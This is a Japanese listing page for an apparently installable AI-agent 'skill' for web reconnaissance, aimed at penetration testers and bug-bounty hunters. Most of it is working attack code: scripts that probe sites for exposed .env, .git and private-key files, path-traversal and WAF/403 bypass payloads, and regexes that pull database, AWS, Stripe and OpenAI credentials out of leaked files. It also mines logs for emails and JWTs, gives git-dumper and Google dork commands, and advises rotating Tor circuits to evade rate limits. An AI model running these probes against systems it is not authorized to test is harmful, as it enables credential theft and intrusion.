mcpField
W
web-enumeration

web-enumeration

github.com/uphiagoセキュリティ1.3k43 回インストール8 週間前に更新
リポジトリ

web-enumeration について

web-enumerationは、Webターゲットの機密ファイル、パストラバーサル、仮想ホスト、公開ログを調査するセキュリティテスト用スキルです。ペネトレーションテスターや脆弱性報奨金の調査者向けに、プローブとキャッチオール応答・誤検知の確認方法をまとめています。

主な機能

  1. 01機密ファイルのスキャン
  2. 02パストラバーサル回避のプローブ
  3. 03仮想ホストの列挙
  4. 04環境変数の認証情報抽出
  5. 05ログデータの調査
  6. 06キャッシュとパラメーターの探索

活用シーン

  1. 01サイトで.envや.gitの公開を確認
  2. 02別パスやHostヘッダーをテスト
  3. 03アクセス可能なログから手掛かりを抽出
  4. 04隠れたパラメーターや過去ページを発見

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/uphiago/recon-skills --skill web-enumeration

インストール後、Claude Code で/web-enumerationを入力して読み込まれたか確認します。

同梱ファイルreferences/batch-probe-methodology.md

詳細

Web 列挙 -- 機密ファイル、パストラバーサル、vHost、ログマイニング

使用する場面

  • すべてのターゲットで必ず実施します。ポートスキャン後、最初に行います
  • 放置されたインフラでは高い成功率が見込めます
  • 1 件の発見(.env、.git)から、すべての認証情報にアクセスできることがよくあります

機密ファイルのスキャン(200+ パス)

import requests

base = "https://target.com"
files = [
    "/.env", "/.env.example", "/.env.production", "/.env.local",
    "/.env.backup", "/.env.bak", "/.env.old", "/.[DEV_ENV]",
    "/.env.staging", "/config/.env",
    "/.git/config", "/.git/HEAD", "/.git/index",
    "/.git/refs/heads/master", "/.git/logs/HEAD",
    "/.git/packed-refs",
    "/storage/oauth-private.key", "/storage/oauth-public.key",
    "/storage/logs/laravel.log", "/storage/logs/laravel-*.log",
    "/storage/framework/views/*",
    "/Dockerfile", "/docker-compose.yml", "/docker-compose.override.yml",
    "/Procfile", "/.dockerignore",
    "/composer.json", "/composer.lock", "/package.json",
    "/package-lock.json", "/yarn.lock", "/Gemfile", "/Gemfile.lock",
    "/requirements.txt", "/Pipfile", "/Pipfile.lock",
    "/Cargo.toml", "/go.mod",
    "/artisan", "/server.php", "/web.config",
    "/wp-config.php", "/wp-config.php.bak", "/wp-config.php~",
    "/wp-content/debug.log", "/readme.html",
    "/assets/index-*.js.map", "/build/*.js.map",
    "/static/js/*.js.map", "/js/*.js.map",
    "/phpinfo.php", "/info.php", "/test.php", "/debug",
    "/actuator", "/actuator/env", "/actuator/health",
    "/actuator/beans", "/actuator/mappings",
    "/actuator/heapdump", "/actuator/loggers",
    "/swagger-ui.html", "/swagger-ui/index.html",
    "/v2/api-docs", "/v3/api-docs",
    "/graphql", "/graphiql", "/playground",
    "/admin", "/login", "/dashboard", "/panel",
    "/manager/html", "/host-manager/html",
    "/robots.txt", "/sitemap.xml",
    "/.htaccess", "/nginx.conf", "/.well-known/security.txt",
    "/server-status", "/server-info",
    "/phpmyadmin", "/_phpmyadmin", "/pma",
]

for f in files:
    try:
        r = requests.get(f"{base}{f}", timeout=10, allow_redirects=False)
        # Catch-all detection: SPA/commerce sites return HTML homepage for any path
        body_sample = r.text[:300].lower()
        is_catchall_html = any(marker in body_sample
                               for marker in ['<!doctype', '<html', '<!DOCTYPE'])
        if r.status_code == 200 and len(r.text) > 20:
            if is_catchall_html and len(r.text) > 500 and not any(
                kw in body_sample for kw in
                ['db_', 'app_', '_key', '_secret', 'password',
                 'token', 'php version', 'create table']
            ):
                print(f"CATCHALL {f} ({len(r.text)}b) — HTML homepage, not a leak")
            else:
                print(f"DONE {f} ({len(r.text)}b): {r.text[:150]}")
        elif r.status_code == 301 or r.status_code == 302:
            print(f"WARN {f} -> redirect {r.status_code}")
        elif r.status_code == 401 or r.status_code == 403:
            print(f"LOCK {f} -> {r.status_code} (exists, blocked)")
    except:
        pass

パストラバーサルと回避手法(10+ の手法)

paths = [
    "/../.env", "/%2e%2e/.env", "/..%2f.env",
    "/public/../.env", "/storage/../.env", "/html/../.env",
    "/app/../.env", "/www/../.env",
    "/.%00.env", "/.env%00.html", "/.env%23",
]
for p in paths:
    try:
        r = requests.get(f"{base}{p}", timeout=10, allow_redirects=False)
        if r.status_code == 200 and ("DB_PASSWORD" in r.text or "APP_KEY" in r.text):
            print(f"BYPASS: {p}")
    except:
        pass

仮想ホスト(vHost)の列挙

hosts = ["target.com","www.target.com","admin.target.com","api.target.com","dev.target.com","localhost","127.0.0.1","internal","test"]
for host in hosts:
    try:
        r = requests.get(f"http://SERVER_IP/.env", headers={"Host": host}, timeout=5)
        if "APP_KEY" in r.text or "DB_PASSWORD" in r.text or len(r.text) > 50:
            print(f"DONE .env exposed via Host: {host}")
    except:
        pass

.env の認証情報を自動抽出

import re
env_content = requests.get("http://target/.env", timeout=10).text
patterns = {
    "DB_HOST": r"DB_HOST=(.+)",
    "DB_DATABASE": r"DB_DATABASE=(.+)",
    "DB_USERNAME": r"DB_USERNAME=(.+)",
    "DB_PASSWORD": r"DB_PASSWORD=(.+)",
    "APP_KEY": r"APP_KEY=(.+)",
    "APP_URL": r"APP_URL=(.+)",
    "REDIS_HOST": r"REDIS_HOST=(.+)",
    "REDIS_PASSWORD": r"REDIS_PASSWORD=(.+)",
    "MAIL_USERNAME": r"MAIL_USERNAME=(.+)",
    "MAIL_PASSWORD": r"MAIL_PASSWORD=(.+)",
    "AWS_KEY": r"AWS_(?:ACCESS_KEY_ID|SECRET_ACCESS_KEY)=(.+)",
    "SENDGRID": r"SENDGRID_API_KEY=(.+)",
    "SENTRY": r"SENTRY_DSN=(.+)",
    "JWT_SECRET": r"JWT_SECRET=(.+)",
    "OAUTH": r"OAUTH_(?:CLIENT_ID|CLIENT_SECRET)=(.+)",
    "FIREBASE": r"FIREBASE_.+=(.+)",
    "OPENAI": r"OPENAI_API_KEY=(.+)",
    "STRIPE": r"STRIPE_(?:KEY|SECRET)=(.+)",
}
for name, pattern in patterns.items():
    matches = re.findall(pattern, env_content)
    for m in matches:
        print(f"KEY {name}: {m.strip()}")

ログデータの抽出

log = requests.get("http://target/storage/logs/laravel.log", timeout=30).text
emails = set(re.findall(r'[\w.+-]+@[\w-]+\.[\w.-]+', log))
for e in sorted(emails):
    if not e.endswith(('.png','.jpg','.svg','.css','.js','.ico','.woff')):
        print(f"EMAIL {e}")
sqls = re.findall(r'(?:SQL:|Executing query:|query:)\s*(.*?)(?:\\\\|$)', log)
for s in set(sqls):
    if len(s) > 10:
        print(f"QUERY {s[:200]}")
jwts = re.findall(r'eyJ[a-zA-Z0-9_\-]{20,}\.[a-zA-Z0-9_\-]{20,}\.[a-zA-Z0-9_\-]{20,}', log)
for j in set(jwts):
    print(f"JWT {j[:80]}...")
paths_found = set(re.findall(r'(?:in |at )/(?:[a-zA-Z0-9_\-./]+\.(?:php|js|ts|py|rb))', log))
for p in sorted(paths_found):
    print(f"PATH {p}")

Varnish キャッシュの検出

# Detect cache headers
curl --max-time 30 --connect-timeout 10 -sI "https://TARGET/" | grep -iE "(age|x-cache|via|server)"
# Via: 1.1 varnish = Varnish
# X-Cache: Hit from cloudfront = AWS CloudFront
# Cf-Cache-Status: HIT = Cloudflare
# Varnish Extreme TTL (32 days):
curl --max-time 30 --connect-timeout 10 -sI "https://TARGET/" | grep -iE "age:|max-age|x-cache"

実際の事例

OVH の Laravel サーバー:.env、.git/config、storage/oauth-private.key がすべて公開されていました(200 OK)。MySQL、SendGrid、クラウドストレージ、Firebase の認証情報が含まれていました。

政府機関の Vite 開発モード:45 個の TypeScript ファイルが公開され、VITE_JWT_SECRET と VITE_API_TOKEN が平文で含まれていました。

制限付きプローブのテンプレート、キャッチオールの検出、エンドポイント固有の CORS チェック、XML-RPC の応答分類については、references/batch-probe-methodology.md を参照してください。

注意点

問題解決策
レート制限2~6 秒のジッターを追加し、Tor 回路をローテーションします
CDN がパスをブロックする8443 ポート、vHost、直接 IP を試します
誤検知(SPA のキャッチオール)HTML コンテンツ(doctype/html タグ)を確認します。キャッチオールサイトは、どのパスでもホームページを 200 で返します
キャッチオールサイトによる情報漏えいの誤検知キーワードレベルで検証を追加します。.env には DB_/APP_/_KEY/_SECRET が含まれている必要があり、.git/config には [core] が含まれている必要があります
XMLRPC テストでのリダイレクト追跡(-L)XMLRPC のチェックでは -L を決して使用しないでください。リダイレクトにより、実際の 200 POST 応答が隠れることがあります
Cloudflare/Salesforce のキャッチオール一部の CDN やコマースプラットフォームは、どのパスに対しても同じホームページを 200 で返します。/nonexistent-test-path-xyz を確認して検証します
WAF によるブロックパストラバーサルの回避手法を使用します

検証

curl --max-time 30 --connect-timeout 10 -sk "https://target.com/.env" | head -20
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/.git/HEAD"
# git-dumper: https://github.com/arthaud/git-dumper
./git_dumper.py http://target.com/.git/ /tmp/repo/
フェーズ 6 — パラメーターの検出

既知のエンドポイントで隠れたパラメーターを探します。

# paramspider — finds parameters from Wayback data
paramspider -d target.com -o params.txt

# arjun — discovers hidden parameters via HTTP response comparison
arjun -i backend_urls.txt -o arjun_params.json
arjun -u https://target.com/endpoint -m POST

# x8 — hidden parameter discovery
x8 -u "https://target.com/endpoint" -o x8_params.txt

# Prepare URLs for parameter fuzzing
cat all_urls.txt | grep "=" | qsreplace "FUZZ" | anew param_fuzz.txt
# Deduplicate by parameter name
cat all_urls.txt | grep "=" | sed "s/=[^&]*/=/g" | sort -u > params_clean.txt
フェーズ 7 — URL カテゴリの抽出

テストの優先順位を決めるため、検出した URL を機密性に応じて分類します。

# JavaScript files (for secret hunting)
cat all_urls.txt | grep -iE '\.js(\?|$)' | grep -iv '\.json' | sort -u > js_urls.txt

# API endpoints
cat all_urls.txt | grep -Ei '\.(json|xml|graphql)(\?|$)' > api_urls.txt

# Backend scripts
cat all_urls.txt | grep -Ei '\.(php|asp|aspx|jsp|cfm|cgi)(\?|$)' > backend_urls.txt

# Auth/login flows
cat all_urls.txt | grep -Ei "login|signin|auth|oauth|reset|password" > auth_urls.txt

# Admin panels
cat all_urls.txt | grep -Ei "admin|dashboard|internal|manage|panel" > admin_urls.txt

# File upload/download
cat all_urls.txt | grep -Ei "upload|file|download|image|media" > upload_urls.txt

# IDOR candidates
cat all_urls.txt | grep -Ei "[0-9]{3,}" > idor_candidates.txt

# Open redirect candidates
cat all_urls.txt | grep -Ei "redirect|callback|goto|return|dest=|r=|u=|url=" > redirect_urls.txt

# Everything interesting in one shot
cat all_urls.txt | urinteresting
フェーズ 8 — WAF と 403 の回避
# IP header spoofing
ffuf -u https://target.com/blocked-path \
  -w 403_bypass_headers.txt \
  -H "FUZZ" \
  -mc 200,301,302

# Common bypass headers
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/admin" \
  -H "X-Forwarded-For: 127.0.0.1" \
  -H "X-Forwarded-Host: 127.0.0.1" \
  -H "X-Custom-IP-Authorization: 127.0.0.1" \
  -H "X-Original-URL: /admin" \
  -H "X-Rewrite-URL: /admin"

# HTTP method switching
for method in GET POST PUT PATCH DELETE OPTIONS HEAD TRACE; do
  echo -n "$method: "
  curl --max-time 30 --connect-timeout 10 -sk -X "$method" "https://target.com/admin" -o /dev/null -w "%{http_code}"
  echo
done

# Path override techniques
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/anything" -H "X-Original-URL: /admin"
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/anything" -H "X-Rewrite-URL: /admin"
フェーズ 9 — 過去のページの復元と Robots.txt の履歴
# Robots.txt history via roboxtractor
cat alive_subs.txt | roboxtractor -m 1 -wb

# Recover 404 pages via Wayback Machine
waybackurls https://target.com | grep "webstat\|/old/\|/v1/\|/deprecated" > old_pages.txt

# For each old page, re-crawl linked resources
gospider -s https://target.com -a -r \
  | grep -oE 'https?://[^[:space:]"]+' \
  | grep "/old-path/"

# Google Sheets leak hunting
# site:*.target.com intext:"docs.google.com/spreadsheets"
# site:docs.google.com/spreadsheets "target.com" "password"

# GitHub endpoints: find internal API paths in repos
github-endpoints -q -k -d target.com -t $GITHUB_TOKEN

コメント